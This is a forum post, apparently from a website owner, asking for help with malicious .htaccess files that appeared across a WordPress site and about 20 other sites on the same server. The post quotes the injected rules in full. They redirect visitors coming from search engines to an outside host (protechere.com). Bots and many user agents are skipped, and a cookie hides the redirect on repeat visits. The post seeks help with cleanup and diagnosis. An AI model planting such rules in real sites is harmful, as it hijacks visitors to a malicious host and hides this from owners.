.htaccess Attack!

Hi,

I have been finding some .htaccess files containg the following within my wordpress installation. Also, we have another 20ish sites on the same server, and the files have appeared there too. (These sites are html/css sites run on our custom cms)

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$ [NC]
RewriteCond %{HTTP_REFERER} !^.*(q\=cache\:).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|****\sYou|Google).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Mac\_PPC|Mac\s10|Mac\sOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(SharpReader|SiteBar|Slurp|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Win16|Win95|Win98|Windows\s95|Windows\s98|Windows\sCE|Windows\sNT\s4).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(WinHTTP|WinNT4|WordPress|WOW64|WWWeasel|wwwster|yacy|Yahoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS} ^off$
RewriteRule ^(.*)$ http://protechere.com/cgi-bin/r.cgi?p=10003&i=aab066bc&j=310&m=708aa72730768a8e4702c023017cccd9&h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}&t=%{TIME} [R=302,L,CO=xccgtswgokoe:1:%{HTTP_HOST}:10080:/:0:HttpOnly]
# exgocgkctswo

I have been deleting the infected files but can someone help me shed some light on what it is and how it got there! My server guys are saying it something to do with a WP plugin?

Thanks